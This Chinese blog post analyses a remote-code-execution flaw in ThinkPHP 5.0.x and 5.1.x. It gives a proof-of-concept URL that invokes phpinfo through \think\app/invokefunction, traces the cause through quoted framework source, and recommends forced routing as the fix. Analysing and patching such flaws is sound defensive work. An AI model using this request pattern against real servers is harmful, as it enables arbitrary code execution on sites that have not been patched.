thinkphp5部分版本存在重大url漏洞

thinkphp部分版本存在重大url漏洞

Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23

1、现象:
下载thinkphp_5.0.21
直接访问:http://root.com/tp/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
是的,直接输出了phpinfo信息。

2、原因分析:
源于thinkphp对于url的处理上

默认配置为:
	// PATHINFO变量名 用于兼容模式
    'var_pathinfo'           => 's',
    // 是否强制使用路由
    'url_route_must'         => false,

由于默认没开启强制使用路由,所有就直接解析url了。
根据分隔符 $config[‘pathinfo_depr’] , 以上地址被解析为如下数组

array(2) {
  ["type"] => string(6) "module"
  ["module"] => array(3) {
    [0] => string(5) "index"
    [1] => string(10) "\think\app"
    [2] => string(14) "invokefunction"
  }
}

追踪到 thinkphp\library\think\App.php:553开始
实例化控制器:

$instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );

进入Loader的controller方法

public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
    list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);

    if (class_exists($class)) {
        return App::invokeClass($class);
    }

    if ($empty) {
        $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);

        if (class_exists($emptyClass)) {
            return new $emptyClass(Request::instance());
        }
    }

    throw new ClassNotFoundException('class not exists:' . $class, $class);
}

进入getModuleAndClass方法

protected static function getModuleAndClass($name, $layer, $appendSuffix)
{
    if (false !== strpos($name, '\\')) {
        $module = Request::instance()->module();
        $class  = $name;
    } else {
        if (strpos($name, '/')) {
            list($module, $name) = explode('/', $name, 2);
        } else {
            $module = Request::instance()->module();
        }

        $class = self::parseClass($module, $layer, $name, $appendSuffix);
    }

    return [$module, $class];
}

当$name为 \think\app 时 strpos 函数是有值的,于是 $class = $name;

好了,打印 上面的 $instance ,结果为

object(think\App)#5 (0) {
}

追踪到 thinkphp\library\think\App.php:585

if (is_callable([$instance, $action])) {
    // 执行操作方法
    $call = [$instance, $action];
    // 严格获取当前操作方法名
    $reflect    = new \ReflectionMethod($instance, $action);
    $methodName = $reflect->getName();
    $suffix     = $config['action_suffix'];
    $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
    $request->action($actionName);

} elseif (is_callable([$instance, '_empty'])) {
    // 空操作
    $call = [$instance, '_empty'];
    $vars = [$actionName];
} else {
    // 操作不存在
    throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

Hook::listen('action_begin', $call);

return self::invokeMethod($call, $vars);

于是,最终由 invokeMethod 通过反射类方法 执行了 think\app 下的 invokeFunction($function, $vars = []) 方法

通过反射来设定了参数必须是 function(必填) 和 vars(可选),类似于函数传参一样。

做种由 $reflect->invokeArgs($args) 来传参执行。

3、修复

问题的根源就是 getModuleAndClass 对控制器的过滤。
	1、设置请求路由
	2、强制使用路由 url_route_must = true
		修改以上两步,再次请求 http://root.com/tp/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
		报错:当前访问路由未定义
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值